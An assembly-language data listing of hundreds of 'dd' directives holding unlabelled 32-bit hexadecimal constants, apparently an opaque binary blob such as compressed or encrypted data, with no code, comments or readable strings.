dd 608E6DBDh, 0D2BB2039h, 5201E31Dh, 1B4107B3h, 0D2D3FE83h
dd 8A09033Bh, 63F12ED0h, 8601147Fh, 767CF8C0h, 9CD421A9h
dd 0DED2A44h, 0C4E4028Ch, 964BC79Eh, 5C842B00h, 0B0CA00AEh
dd 0EEABBAB8h, 8307AA6Fh, 0BF342252h, 3BADC9C0h, 71462A78h
dd 51010098h, 46CC285h, 3C006F8Ah, 0DA13318Dh, 4B07625h
dd 5B58D13Eh, 0E32489CCh, 0B23AAE0h, 21787200h, 0E79BF6C0h
dd 0EE4137BFh, 0B85FB2F8h, 0B9FCAB80h, 0CBFC89B4h, 5783748h
dd 413E7C2Bh, 118A9840h, 60AD8178h, 9D73916Ah, 48FECE14h
dd 2710B207h, 4C406BE6h, 2DB502h, 13FBA4E7h, 694D8EC8h
dd 75A5E506h, 7416C46h, 25675B05h, 0ED4B6129h, 442080BFh
dd 0C00E170Ah, 0DDB400D2h, 7BD3638Bh, 5902499h, 92B9313Dh
dd 485EC325h, 4F0090E9h, 0EE48E8F3h, 8D9400D9h, 1ADE595Ch
dd 0C8334ABDh, 0FDACC945h, 6C2AFC71h, 1D04D30Ch, 0FE8AADDCh
dd 134BC31h, 0BE88D56h, 0ADC6314Bh, 50134279h, 0FB0668F4h
dd 0C998E800h, 9CFEFAE7h, 371B009Eh, 0C5636784h, 6D0E570Dh
dd 0E40B9630h, 4888B04Ah, 77BF0114h, 0C1646E39h, 8CAB7055h
dd 1650C00h, 0E64349E5h, 1B209257h, 393CE14Ah, 0C044F0EAh
dd 626FED14h, 5CF5189Ah, 93F1321h, 9AF07E4Dh, 0D9DF1000h
dd 4A00C750h, 0C5D60257h, 270F298h, 0DE98DBAh, 844C6E3Ah
dd 0A81DB702h, 18082B52h, 4A803553h, 1E7F490h, 3ADCD35Eh
dd 22CD198Ch, 96F0E74h, 0A8D6A0EEh, 2518Ah, 0A12E88ADh
dd 0E3E09341h, 39C07C14h, 1AC851E8h, 3304C4CCh, 0F030F931h
dd 920086CCh, 76978474h, 736642BEh, 6D9E186Ah, 0F2345133h
dd 0CF00F890h, 9C8B396h, 56B5ADEh, 0F5C7D32Bh, 13CC843h
dd 3EAA9700h, 0A74A083Dh, 22B77433h, 7500380Fh, 0C9C6B232h
dd 8BBBE62h, 983B423Ah, 0B71B5E00h, 0E50C581h, 0DE4AAA32h
dd 119C4851h, 0A24983Ah, 0EBC34104h, 6D42FCE6h, 0CEC8C949h
dd 0AA8BCFA6h, 3584F816h, 1480F811h, 24E56655h, 15B45054h
dd 9400C01Dh, 0FF99F878h, 0B8737EEDh, 0F566801h, 0B4C34B28h
dd 0BBD06025h, 3E8CA830h, 7A89C040h, 85C1258Fh, 2FEF6503h
dd 8DEDABF4h, 309F7C82h, 0E31156BFh, 7490B866h, 5602763Eh
dd 8B6FA1E7h, 85ED9060h, 21428D30h, 77DC150h, 0C9F97739h
dd 38B4F078h, 0C31F7AA3h, 1D4028B0h, 6D44BA9Ch, 0C495496Ch
dd 0DFEB6000h, 3EB58726h, 0D033FE00h, 0C252F3E9h, 4BF7020Ah
dd 194ABB38h, 0E74254C6h, 40DEA77h, 738B3AC8h, 7D5888D1h
dd 0FDFA3203h, 0D8FBB1F9h, 7862EA0Bh, 4A27425h, 633DBEECh
dd 1B9CC271h, 0B6003C64h, 0D0F3F266h, 1F773AEh, 3932B8FFh
dd 30C283E7h, 79C0E6FCh, 3EDC7829h, 691100DEh, 5B1A7412h
dd 410FF056h, 536CDB63h, 0E8C45454h, 334302h, 1651176Ch
dd 3ABF49h, 4CC1C3BBh, 69483D39h, 25B1E360h, 141CF643h
dd 0C8ABB46Bh, 33EC6303h, 84B0998Bh, 30C89E2Ah, 2742966Bh
dd 0B62CA064h, 0E53B9F1Fh, 81593C84h, 0EAF5B882h, 0E0360A49h
dd 8BCDD18h, 0E0159066h, 0C43F3Eh, 3DF44D0h, 47249FAh
dd 8EAF48E4h, 102C81F5h, 8C00C3Eh, 5066C456h, 7F405DC4h
dd 46C756B9h, 80A9666Eh, 0BE4E671h, 5D492F3Eh, 9C03A5F0h
dd 42627F65h, 24C9EE5Bh, 40E0B34Ah, 48F5C814h, 49E7C530h
dd 92996DD3h, 20DD4C34h, 513F7E0Fh, 60091261h, 682999DAh
dd 583190EEh, 0DA5F3043h, 0D9F0096h, 4A0E5133h, 0F21FD767h
dd 8CC14801h, 4FF5F3BBh, 7268D4h, 6D521454h, 34DA09Fh
dd 0B858D460h, 18DD98A5h, 38463507h, 1003C69Fh, 3AB9D81Eh
dd 80D592B8h, 0CE783224h, 518986Bh, 58F49717h, 0E61820E3h
dd 0F6062DFCh, 400354ABh, 393800C1h, 9D7AC892h, 8B011EB4h
dd 67F7B0A9h, 0AFE44598h, 40D80B6Fh, 400EDAB9h, 9B582BE0h
dd 560098DFh, 0B0D78AD3h, 365A6961h, 0B98045A6h, 483B0310h
dd 0B9DB0E02h, 9C848083h, 0D3D040E9h, 0C1D67F89h, 14B4DB11h
dd 8B4CE082h, 30DAF005h
dd 0C820BD46h, 0A2B8ED2h, 3C95EB68h, 0CBA704C4h, 0C584D88Fh
dd 8CC3F804h, 1C325E75h, 0F87D012Eh, 0BBF8BA02h, 1944006Bh
dd 3A0CAFABh, 0E0C1B41Dh, 8C526788h, 4C29B824h, 4B00AFBBh
dd 99D7F013h, 3B006B3Eh, 12F4F231h, 0C4FB9DC9h, 0B5BBA638h
dd 0B230DA08h, 66C21156h, 829488C0h, 2E552B8Dh, 0D7F52BC0h
dd 54BEBF02h, 0C0A31A42h, 0B234034h, 69DA89C0h, 0C492812h
dd 4C518B8h, 1AADDE1Dh, 35503109h, 0E89D0801h, 0C801C6C4h
dd 21B0AB32h, 4820F424h, 0A9701AE4h, 60D84Eh, 6650BA7Dh
dd 3A18D4E4h, 9CE0E1DDh, 2CCEEEE4h, 4C9803h, 9D6E246Fh
dd 8B001C67h, 5C51E854h, 0BCD552Dh, 0B8F2BC08h, 0E2307583h
dd 439F8800h, 0AA4C9225h, 0D7B00187h, 0C81F79DFh, 0B93AFCCDh
dd 0E0000371h, 4F459611h, 0B5B3C0h, 0C26B7FFh, 622A15CFh
dd 4A25A900h, 69AC1A80h, 1B880076h, 0BC361492h, 65077109h
dd 0A416CC79h, 0D30D5F60h, 0D1D40FBEh, 4460113Eh, 952B4B5Ah
dd 5517BF00h, 3662BCEEh, 91F83F7Fh, 0C092DB00h, 0F7826348h
dd 21C27A07h, 36701A07h, 626AA4h, 6CDE06ACh, 3ACCF785h
dd 540048F4h, 0BB4AF990h, 0C566D2h, 52269A11h, 0D412E17Ah
dd 33ED8600h, 2AB3CD0Fh, 0F3D90683h, 694291A0h, 0E9DFF103h
dd 901AC85Ch, 459511h, 271914B6h, 0F6BA4283h, 0D353E600h
dd 32C4B921h, 2E790926h, 1E8CEEBEh, 5503BC19h, 0DB4DA635h
dd 0CC5800F3h, 0C44B586Dh, 3D079DF1h, 8FE43017h, 0CFB7A430h
dd 0B11200B2h, 7D64CD01h, 0B900BF35h, 0D01B4BB4h, 1D96E63Eh
dd 83A15255h, 175FAFA2h, 0CD67A690h, 0EF1D2918h, 358FC1h
dd 0B74B38A9h, 3768624h, 97C74300h, 0C1DE66ACh, 0FDB2006Ah
dd 0FEC5D9D1h, 9E01295Dh, 21DCFA95h, 4BECC1BBh, 0ABAC2849h
dd 18D0F48Ch, 0D90E42F7h, 0B53868D1h, 0F6307AEAh, 8E3FB1E3h
dd 0E881E9D0h, 0F3B078BDh, 0A4108ECCh, 0A5D7A320h, 6050EA91h
dd 0E02B2CE8h, 606738F2h, 0EC22EF80h, 0A816F0A3h, 0F96DB03Dh
dd 44987200h, 0D1C4F9C0h, 0FCC100FAh, 705292E9h, 6C1FFE41h
dd 0ED0785FBh, 6FC7E586h, 771CA810h, 0F33600B8h, 6A1B2378h
dd 0D20C2552h, 813D1F1h, 4E21C0DEh, 0B9E81BAAh, 886D400Eh
dd 0A14838E9h, 0DF20C020h, 0FF3A38ADh, 0E00C6A0Ch, 58399Dh
dd 7F81D343h, 6CA52FF5h, 0A940F150h, 1BE0048Ch, 620D5241h
dd 3B4520E2h, 5807B021h, 0A9E65760h, 83B02FF7h, 392E452h
dd 6F1AF94h, 54C0FAE8h, 22FE6B51h, 153310C0h, 0A5A43Eh
dd 342FEACh, 0AF9E1190h, 0E70043E2h, 0D94B0AE0h, 6D30B5h
dd 8E5F4E08h, 0D42DF04Fh, 874A8900h, 165BD747h, 8B4424D8h
dd 45EA0051h, 0BCCDE986h, 7300C572h, 3D0A8F59h, 0E53BAEh
dd 27375D7Bh, 1DEE18DDh, 36909800h, 6F0E1CAFh, 3C57E2CCh
dd 0C1802250h, 4FFB3B5Ch, 2D07E769h, 6A41B577h, 7BA434C0h
dd 0BD801BFh, 453EE24Eh, 5AD7C425h, 2B40A30Eh, 81409850h
dd 0E149C0B5h, 0D276C4FCh, 2585BB1Eh, 51D1D84Ch, 7893005Ch
dd 4EB037FFh, 0C41EBC50h, 4A803E84h, 36FEF404h, 66630155h
dd 0E040E14Bh, 44A453DEh, 51F313E0h, 409D58F8h, 380FAC1h
dd 0B5C13A57h, 8100FBCFh, 39DB4E73h, 0F1D9CAFCh, 77B87980h
dd 2F3A34B7h, 6FA7D800h, 29866975h, 8839C015h, 71B8FF1Eh
dd 0DD2B2D0Eh, 0D64081ECh, 17C70BF0h, 87FA78h, 0A35F9EF3h
dd 0C12B6001h, 915804A9h, 8B48CA5Eh, 0EFF67004h, 0CE3E8FF8h
dd 152C04F0h, 0D4206311h, 0C8109765h, 4F2801A7h, 884651Ch
dd 8387C70Fh, 58E572DCh, 0F7AC1820h, 265E6601h, 0E685019h
dd 1001E741h, 0B05009B1h, 19318A14h, 0A70C4CA0h, 30A80950h
dd 1E19EF01h, 39DDA927h, 87906954h, 50CA2217h, 421094CEh
dd 0F9CF1460h, 3D044608h, 6BED9FEFh, 39444814h, 0DC8E6E4h
dd 1CA153D1h, 98DE4F03h, 84291C0h, 14F7280Ch, 4CA0D9F8h
dd 40F8B50Bh, 4BF140A6h, 0D480050h, 6E6F6053h, 73A0296h
dd 5DFA37C0h, 8BC5F27h, 34F03BEEh, 0F18FC188h, 175AFC21h
dd 3418D604h, 2710F69Bh, 50C4A4B6h, 76C2BCh, 0BE5AF4D5h
dd 98E52C4Bh, 68AD551Ah, 9D796041h, 0B83A09C6h, 60201FA2h
dd 89976A8Eh, 8C5AF624h, 1EC75030h, 0C58C38Ch, 4900FDA4h
dd 0AB403358h, 98C0DCE2h, 18D3744Fh, 609FF049h, 8F18DBE5h
dd 0F311EBFFh, 680E006Ch, 1D531061h, 69C321CAh, 0A4A595h
dd 9D242A49h, 0CF5C3B43h, 8CC44007h, 5347DFA0h, 0BF596940h
dd 0D527019Dh, 265A17DEh, 505441B5h, 9B65F903h, 0C32C8A08h
dd 6C7F1CBh, 48BA4025h, 8F089F30h, 0F5007DA0h, 0B462EC86h
dd 70E35D30h, 977C041Bh, 0C01E4728h, 5E9BF6B9h, 0B865A300h
dd 0F21BD32Fh, 19B51514h, 7EC4A1h, 4D3D3CDCh, 0FD91ABF0h
dd 0E8644637h, 0AED03590h, 182A0CF3h, 5589096Ch, 0B8E58901h
dd 0E6DB2778h, 0B41FC180h, 0CA6C1BADh, 0D50BB8A8h, 6B6D1815h
dd 0CDF07ECh, 45EEA090h, 0F800BAD6h, 1C5584DBh, 0DAB7C37h
dd 4B6D1D49h, 0EEE19831h, 7F02EF08h, 0F3EC7C6Ch, 496F8h
dd 32FED5Bh, 0AAA555FFh, 100EA228h, 0B0C5DE28h, 0E93FFA30h
dd 508FD01Fh, 0E887B068h, 9D3130C7h, 152AFA68h, 400970EBh
dd 0A9D3C200h, 6BA4617Ch, 572C9073h, 1067A826h, 0F3C97B8h
dd 409C4502h, 9002A862h, 94AE23C7h, 0E6FADDC0h, 0B8A5D7EAh
dd 624EE508h, 49015A73h, 0FB00A4F2h, 4005DA57h, 8ACD26ECh
dd 0D0EE73C3h, 7B2A982h, 0B5A40194h, 5E5F2321h, 0BD955801h
dd 0EAB36ADh, 81F2C440h, 257F92h, 9C01192Eh, 2814A27Fh
dd 0E9242C04h, 1486220Dh, 77950168h, 85E4D761h, 0E95C7035h
dd 505D4824h, 0D0C0BB0Ch, 0D5941667h, 0B32C40A1h, 657DA473h
dd 0E268C49Ah, 4E0CB8E0h, 21E30C3h, 615B8ED8h, 0D04A23E7h
dd 5C16D800h, 170ABA0Bh, 8C216EFEh, 406279E2h, 496B43D0h
dd 0F32AB8DAh, 36BC0CA8h, 0DE30F538h, 1C5A841Ch, 8A666D44h
dd 65CF309Ch, 244A9F7h, 0A15AA88h, 9820544Bh, 4CA41499h
dd 0EE206073h, 0A8A8B570h, 0E9F61161h, 0AD959603h, 0C8C1E3F2h
dd 31DFA67Eh, 43408488h, 8EA3005Eh, 6D580315h, 8C78C776h
dd 29959131h, 26107CF9h, 1C543BDDh, 870A0B88h, 0A4A0490Ah
dd 1B7E5822h, 27C27802h, 0A75ACCB5h, 0CDA07548h, 1F21C29h
dd 74FFF4D0h, 202A937Dh, 0EA3E6DCCh, 0F3290E02h, 0C7A20FE3h
dd 85449784h, 0E2918C80h, 0D62109FDh, 0C406B2A1h, 0E503795Ch
dd 422DDBAh, 24717ECDh, 12C844B2h, 86E03257h, 1C72CF03h
dd 7F21939h, 88EC209Dh, 0B35C7C00h, 722ACF9h, 0A8012A94h
dd 1B96D031h, 0A614899Ah, 158C4772h, 1EC06CE7h, 76FC2AE3h
dd 0B1FF09Ah, 0A81EA688h, 0F08FFC0Ah, 0EFE34180h, 6E36BDECh
dd 0AC008185h, 9F352058h, 60A76448h, 715C9878h, 1C8F0981h
dd 0C819086Ch, 1D62F05Fh, 10E3E230h, 0EE1CBAACh, 0F4D35C04h
dd 0C810ED14h, 9843E57Ah, 66A2D8FEh, 0BEE70227h, 0D670F69Fh
dd 0A5C84CC3h, 904D135h, 0EE9636C0h, 90C9FE03h, 61F754F3h
dd 75BCB4ACh, 968C0020h, 24009914h, 43737721h, 0A6FA1Dh
dd 294B98BDh, 10C8D9A5h, 394C001h, 0A19AED36h, 0F8ADD870h
dd 0BF27017Eh, 21AB49EBh, 964C6069h, 1CC460C0h, 0A82CC777h
dd 3BB57D94h, 0AC80CC15h, 7F3D3626h, 0F0C30737h, 0E08FA5C7h
dd 7D87591h, 591154A4h, 0BF450E6Ch, 0F800F17h, 28E4AE86h
dd 677C5800h, 23C076B8h
dd 0DDFE307Bh, 5A36FD58h, 89E1ECB1h, 9F70D928h, 0CEA76E4h
dd 0DCE313A5h, 0B4679FD8h, 80C97C78h, 63ADFF80h, 0AAF70014h
dd 335AF32Bh, 7067E510h, 80C01A30h, 3968AF16h, 2B964D71h
dd 0FD88002Ch, 59B3F33Ch, 0A2F51014h, 44E70628h, 9A18B48Ch
dd 272244B0h, 0A9B4EE6Ch, 1EA90AF6h, 40606925h, 0BA4BFCD9h
dd 8A8A8C8h, 91012954h, 616F8645h, 8F3A9050h, 3D4B073h
dd 0FBAFBF4Fh, 9132F16Ch, 9095581Ch, 0A8277D7Ch, 0C1646808h
dd 7528FE79h, 16F1814Ch, 0F2FA83F7h, 54408440h, 400E6077h
dd 0A9A4ACBDh, 0ED81D218h, 87713F91h, 7C189496h, 30862D49h
dd 1B39B86Eh, 56393EDBh, 38890069h, 0B9FCF58Ah, 0B8A9C06Fh
dd 0A11350FBh, 5D2631C0h, 70F6AFE1h, 22210B46h, 7C8F86D4h
dd 39B874E6h, 0E86A9D1Eh, 6446099Fh, 3987090h, 5B67F8F5h
dd 103F79DEh, 5C8017CDh, 73218E01h, 0C05322E7h, 94C2A451h
dd 0EE0060ACh, 482D1315h, 91A44484h, 0B44C355h, 0EF4E1100h
dd 20110E87h, 0B497011Ch, 0A26B642Bh, 0DB688672h, 0C1B9A4h
dd 5FF9BFFFh, 0CCD9E0F7h, 68C2A0A4h, 0E618CA2Fh, 38B00338h
dd 2196CC34h, 8C969877h, 9F1C5C80h, 0B0A914C4h, 22920A2Ch
dd 0B0F889h, 844FC26Dh, 50002495h, 9D1E2D01h, 1F8632CDh
dd 666C1362h, 0CB708A40h, 0CB72F040h, 0A391963Fh, 0C7DE87A0h
dd 34858B14h, 4B2890FAh, 0C07117DAh, 92405D5Ch, 72F9AC04h
dd 54749C0Fh, 3CFB1062h, 59298D86h, 6C9C05E0h, 406FFD0Ch
dd 352F4CFEh, 0CA17702h, 8048F0A4h, 6AF66CF5h, 0D8AE6344h
dd 6B6F18C9h, 7F352184h, 191C5B00h, 0AE5522h, 95505382h
dd 0D8431890h, 7DE1C200h, 51BCFFE4h, 0DA4B608Ah, 0BAA172EEh
dd 6A88100h, 0A0B27C99h, 496300C6h, 0D37E4E0Dh, 0CC13EB71h
dd 4409D472h, 201C025Dh, 1E1CC87Dh, 51863060h, 0ED0126F1h
dd 0EF00F092h, 111EA18Ah, 0B0771A2Fh, 9DCF2E08h, 231DB814h
dd 0B117C11Dh, 0BF533D05h, 46EF8439h, 0D8927643h, 3DE2C0BEh
dd 1C0BE2F3h, 0CC5BDF55h, 0C121524Fh, 0E927BB00h, 7FD3E85Ah
dd 0A05C0940h, 0F44812CBh, 2B00664Eh, 0ED8E136Bh, 36C07EFh
dd 2917617Ah, 9DBAE34Bh, 0A10A6C0h, 59804730h, 0CD01D1h
dd 0FD160C18h, 0C25EFFA2h, 8E592A03h, 801CEF71h, 608AE010h
dd 9E0A69DCh, 0DA00ED3Ah, 837880B2h, 3623932h, 0CFA71989h
dd 56910E8Ch, 6920D061h, 982D9780h, 90DDE03Ch, 0E7C600ECh
dd 98B57786h, 4AEAF2FBh, 0D8285DB0h, 0E0003419h, 4F9BC6E9h
dd 9F682Bh, 7A9A18F2h, 0F9D70237h, 0FCF08AEAh, 0A448EE03h
dd 1FB17099h, 24D18038h, 0B490610h, 2900E97Ah, 7BB05DE1h
dd 0A0D68095h, 2384993h, 0CCE85B94h, 0FC81E5CEh, 20247B68h
dd 0F2585D70h, 39E00A8h, 905FA2E6h, 6E4D348Eh, 0C9BC81A1h
dd 1AA4307Fh, 0B2E43F0Bh, 7C2800F2h, 18752A37h, 20657E1Bh
dd 0CEE07A91h, 6BC9E024h, 9B422021h, 3BB63074h, 5809E092h
dd 91DF5B7h, 0AC4180C0h, 0EE1AFAE6h, 0DFE20489h, 0A0DE28B5h
dd 8C945E60h, 0D14FCD60h, 92D9038h, 0DCF6F833h, 2A6EC8A0h
dd 0FD543643h, 9A7776C8h, 4F68C101h, 0B6755004h, 60FCCACEh
dd 1A325F3h, 0ECC90CA4h, 0D1BEE270h, 9621802Ah, 0E31D24D7h
dd 7E93036Bh, 48C2BC4Dh, 0C40091D2h, 119492h, 3350682h
dd 9B0428B9h, 7730B1C0h, 0B18CB60h, 69B51C1Ah, 3A1F6CA0h
dd 99021075h, 6B3E9ECDh, 61C882CCh, 5A2C46D8h, 7C3C41C3h
dd 2919E027h, 0BCFE0118h, 0C28035Ch, 91F69CCh, 567B0ABh
dd 0BFD9C440h, 42265C1Ch, 80588C09h, 59DAC0C2h, 5D070068h
dd 89F5228Ah, 0A30BB542h, 885C6F3Eh, 215C34D0h, 9A805ACCh
dd 6F63203Fh, 1CD1094Ah, 8480B214h, 0AD5B5D2Ch, 0CFF09209h
dd 0D8089849h, 0F2A6262Bh, 4208A404h, 9E00A0C3h, 2D2BD0h
dd 0E53BC71Fh, 76C4D7E8h, 5CFD5000h, 0E220A56Ch, 0B25F141Dh
dd 7810AC1Fh, 80303DC3h, 0F834F7ADh, 0C10B7A2h, 0F6F328C0h
dd 1E0A61D1h, 0ACA14CD9h, 9762D764h, 64629C8Fh, 788967AEh
dd 0CDB47048h, 0CA109004h, 8EC29352h, 801A410Ch, 5F4E031h
dd 0F62D1CE5h, 13CC6E8Eh, 9E0480C6h, 8A00422Eh, 43DFEE6h
dd 7698B84Ah, 0A8A3164Bh, 0BEC0428h, 61C1017Dh, 0A865295Dh
dd 1D266BE0h, 16F935h, 0A59B01FAh, 754BFECCh, 8DDA0400h
dd 3E53DD2Dh, 0A8023AE6h, 21643804h, 6FECC4A0h, 0AC4030D1h
dd 0D9388CA0h, 0A3F2882Bh, 0E0C86957h, 15FED19Bh, 6987BB58h
dd 32F800C9h, 59953EEh, 7222368Ah, 0BAA03121h, 0DCCAF75Ch
dd 9D04184Ch, 319661BBh, 2BF1EAC0h, 352C0344h, 0C0B8091Dh
dd 0FC929AB9h, 53004164h, 0FA1EE9D6h, 69B99Bh, 61E0F596h
dd 0F0198818h, 72044E00h, 0A8E1CFEAh, 0D50E0074h, 0B962BE4Fh
dd 9E004354h, 5879F0F9h, 0BD32BFCBh, 0D1612800h, 8000AB67h
dd 0B77B9BF5h, 0A8E39Dh, 0B538687Ch, 3CC51F24h, 9660F21Dh
dd 0D5369FC0h, 7BE38629h, 88D11F71h, 0C8B5D877h, 0D5E67824h
dd 0C9F44D0Fh, 18BE8C3Eh, 5E7BFDh, 94E8918Ch, 7903BCCBh
dd 410D950h, 80135C3Ah, 91EA3DA7h, 57BF8AA5h, 0E5009090h
dd 4C0365C1h, 5B72777Eh, 61BF2601h, 1E2E3036h, 291B80BCh
dd 1BE0089Bh, 8400408Eh, 6DCEFD15h, 3F3C4ED2h, 0F7804A73h
dd 0E4180EA2h, 4500C8E1h, 8380EE95h, 31D05A66h, 68F1624Eh
dd 29BAD0D6h, 28AE6D00h, 93155DB0h, 0D7AA0087h, 0BFD0527Bh
dd 5648D624h, 1E330080h, 2DBBA8E6h, 7AD5000Fh, 70FCFDD2h
dd 240E91C8h, 80C64B3Ah, 5362C3AFh, 0DC96072Dh, 800DB8A8h
dd 8FA3474Eh, 0DDAEF524h, 6AB3800Eh, 9C7820A6h, 18E743F0h
dd 0BF28CEA5h, 2EBB0E51h, 4B8058BAh, 36BCA971h, 602B6200h
dd 0AA379365h, 7494A025h, 9676C4h, 0DD75D05Bh, 5453CA7Ch
dd 982C1124h, 0AACC9300h, 383FC862h, 0E68C1096h, 0DA6842E1h
dd 70904430h, 0D0738Ch, 0F3BCA726h, 824C6F5Dh, 8DCA2F01h
dd 0D94D2A21h, 7C757280h, 6798EBA6h, 0F23A3Eh, 0CF9085D1h
dd 0F948DCh, 4EB8680Dh, 38587A9Bh, 0A1D74F00h, 652F49F6h
dd 0FDB857h, 0B4276C9Dh, 1015FF67h, 6AA6F400h, 4EC0240Ch
dd 0B90901D5h, 0B58E261h, 0F0ED3076h, 6E37430Ch, 0C36D100Dh
dd 0F6A88A09h, 997E1000h, 9ABA16A4h, 9C0C03EBh, 0BF15A529h
dd 0AE05E5C0h, 0ACB3FC03h, 0E0D03616h, 356BDh, 0EE225ACEh
dd 271C5558h, 2EB5B700h, 674DF775h, 0DCDA00F8h, 7672AFBBh
dd 1F008BE2h, 0FF895505h, 9D5CB3DEh, 5E77FFD0h, 0A65DB100h
dd 4323B446h, 827000B2h, 0CC54669Ah, 0E9002B59h, 458667C1h
dd 18BF635Ch, 0B49BAAE4h, 0E2005B8Eh, 0DB034036h, 1FD94B76h
dd 8083AC2Fh, 0B30695F6h, 0B707ADEBh, 0E940AEBDh, 3687A6F7h
dd 82A73B00h, 7650080h, 0E8D6B3CCh, 0BB001981h, 4CCA3DB7h
dd 0E59EEE1h, 0A892701Ah, 7CC036E0h, 0FE00DE0Eh, 8814A586h
dd 380CDBD8h, 2F00B531h, 0C7B1ACE7h, 500C341Fh, 0A0325105h
dd 34775AAh, 7B4A48Ah, 18D65385h, 0EA982A00h, 5054CC9Dh
dd 55D90056h, 0FF6B1BB7h, 0D1008FB8h, 0FE2D4828h, 0B064A3C9h
dd 80EF00D5h, 5DC02713h, 74001795h, 71509EE7h, 74C8F43Bh
dd 0F29A00E1h, 89B24511h, 480017E8h, 0B304F8EFh, 2CBFBB14h
dd 30D250h, 24CEC5BEh, 3B006242h, 9E2C21DBh, 0F7DF32h
dd 0B8FE4074h, 0EE46BF4Dh, 4001998h, 1775A2E7h, 124A1A3Dh
dd 1E6F4448h, 0ABD628h
dd 93A75BB4h, 1C508E43h, 3B00AC9Ah, 0A6502F11h, 0FF2CEB7h
dd 95A33FD6h, 0EEE9003Fh, 0E01410FAh, 0DD79BA00h, 0C19E624Dh
dd 0FEC848CDh, 28988D0Fh, 8DE50Ah, 0B5BA9994h, 24098C4Eh
dd 0C073F5CFh, 0B61A8Eh, 92742E08h, 7145B432h, 0AE78C603h
dd 0C0102641h, 13BB2Dh, 32C188DEh, 0EC4F7CD5h, 0ED82F900h
dd 95E9EEDDh, 93A61872h, 0B4F8AA64h, 0BC3A4CF8h, 0C1799FFDh
dd 40F782C0h, 3C49694h, 9D708B5Bh, 22E0A649h, 0DD24D0A4h
dd 6D80B432h, 8E39EB3Fh, 73E6CCh, 0AA389ADEh, 202FA254h
dd 69CAE700h, 0C5D5EBDh, 980B0042h, 30DBB365h, 0E02DDC3h
dd 7664AD97h, 46AF80CEh, 1DF4C836h, 0E9EA78h, 4A162C9Ch
dd 0B5009474h, 0DCE6ACDFh, 0FCA93B8Ch, 0BA67051Fh, 0C083C6ADh
dd 6E8F539Ah, 0FDC1AA00h, 9AFB2945h, 71D12665h, 0C0D70000h
dd 2ED56306h, 90591700h, 3ED25458h, 5C371D7Eh, 39BB4050h
dd 8034B711h, 0A2F60600h, 203C1E07h, 0E6F50F55h, 0F76A8E2Eh
dd 0A6EB00C8h, 0ACE919A9h, 35836B12h, 39288C00h, 0FD42A59h
dd 0C0984A78h, 9245B064h, 0BE09B20h, 0D3005030h, 0CCC83786h
dd 3C4D9ACAh, 1593AF60h, 7C3109A9h, 0CE359C00h, 0DF00935Eh
dd 8AF10753h, 1928F79h, 0F4C6CD40h, 0D1333445h, 2CBE6098h
dd 0E3D7AF00h, 219BA6A4h, 55B30017h, 4A0DFB02h, 6A004401h
dd 0FDEE107Bh, 5CBCEDh, 5F079F95h, 6EC1E336h, 0D8055B78h
dd 0E68D2C83h, 4446D000h, 0E0C4FD2h, 28ECF55Ah, 2B534B80h
dd 0E03F74AAh, 0CC9F80BBh, 20CA3295h, 52370026h, 6A59D911h
dd 33759E41h, 39560F07h, 1FE05B13h, 0B5AF27h, 0F0350999h
dd 0F724A33Ch, 6E112D1Ch, 9E527A80h, 0D883E9h, 56D9C444h
dd 8428CDC5h, 9C424B01h, 272289AFh, 0B0ED50FCh, 0FCD80061h
dd 565E4E54h, 470069FDh, 67AE2146h, 3CB80BCCh, 3D0955D3h
dd 0B004D7Fh, 120D7796h, 3CA3B400h, 0CBBA0616h, 0BEAB03C6h
dd 9D979A8Ah, 1CDB67A8h, 46BD0F00h, 156BBA9h, 0CED03A28h
dd 9CA096h, 0F3C25D31h, 7639AE83h, 803FBF68h, 4FDB303Ah
dd 20DE5Fh, 9B53D918h, 0E980A83Bh, 40E75E00h, 4FF617A0h
dd 0FB58003Ah, 0E0BAC290h, 10C33BF9h, 0D80BA3CCh, 24419Eh
dd 0B268B42Fh, 14937ACh, 9A6AB500h, 48897F36h, 5B98A0DDh
dd 653B00E9h, 4207334Bh, 80E24DBAh, 0C7007178h, 0A91F7B30h
dd 0B67A7AEh, 0A1E6F831h, 5784F800h, 0B06D91Eh, 0AEB4D5E3h
dd 0B565009Ch, 9C98970Ch, 0E800B736h, 5D6BF304h, 74551DA2h
dd 85F638E3h, 92983380h, 84900583h, 463D6003h, 0D828F719h
dd 308BBDBh, 6D8D205Ah, 0DDF04064h, 21001A3Ah, 0FABE2C42h
dd 0F0288Ch, 7B0B657Dh, 934DA95h, 935BDB0Ch, 0F2D71A0Ch
dd 0F47F22h, 41784B47h, 0E6E25A7Ch, 0C38BE000h, 2D1470B6h
dd 0F6990031h, 19D8DA61h, 0D30F30EEh, 0A01BCFF7h, 0B746B637h
dd 895001Dh, 746EC71Eh, 4D0FECFFh, 40248557h, 0D7BA35F2h
dd 38E200A0h, 0DC80BF96h, 0C00029DAh, 1DB3600Ah, 72C6607h
dd 4865D9Ah, 14E7F028h, 0F900CC87h, 4E27E3E9h, 0FDCA925h
dd 0EC16B6BCh, 0A171DA60h, 4500BD82h, 0A19EF9Bh, 59EAAAh
dd 0C1A39179h, 0E91BF81Eh, 21005C77h, 3AE46A9Ch, 0F672771h
dd 0FEA07B92h, 0BD8BC480h, 730057C7h, 9925C0BBh, 309CECCh
dd 491359E4h, 74B37A2Ch, 86BCCDC0h, 4215BE00h, 4093E3D2h
dd 38FB00D8h, 7EF409D3h, 1C90D51Ch, 8347193Bh, 0F61562D1h
dd 3AA0F188h, 0C636D0h, 0B50D8BCFh, 0D9E829F9h, 0F3001A7Ah
dd 9CE42211h, 0E6F1802h, 93FC3B17h, 0A78C160h, 0CA016DB1h
dd 450E998h, 0BBF8AB6Ah, 5410C099h, 6F5660E5h, 81C60F09h
dd 42F40051h, 101E97h, 0AB22C38h, 33562F30h, 1D7CEA0Ch
dd 0F1918F9h, 493980EDh, 0C9FBB8B8h, 378E210Ah, 4D0124C2h
dd 0D48643B5h, 5E62D883h, 25C8583Dh, 69181C0Eh, 0B6118B36h
dd 0D68500D3h, 18891510h, 0E9011F0Dh, 5D8D52D7h, 0A2FC1A21h
dd 48081883h, 0E66460DCh, 6C57600h, 0A8D1FE47h, 0C359007Ch
dd 7DF1E340h, 8500911Dh, 58464DABh, 0F0E52920h, 0B81700A6h
dd 0B36B2B7Ch, 0C017B75h, 8F730F38h, 0C1FC784Fh, 0C4BD2676h
dd 574600E7h, 9AF607E5h, 0E6BECE1Eh, 8EF1478Ch, 3C7521h
dd 69195DDBh, 0CB6DD308h, 5A22931Eh, 0BE066A00h, 26BD01h
dd 549E6CF2h, 0AF238402h, 5D825200h, 5F4C2A1Eh, 80D70083h
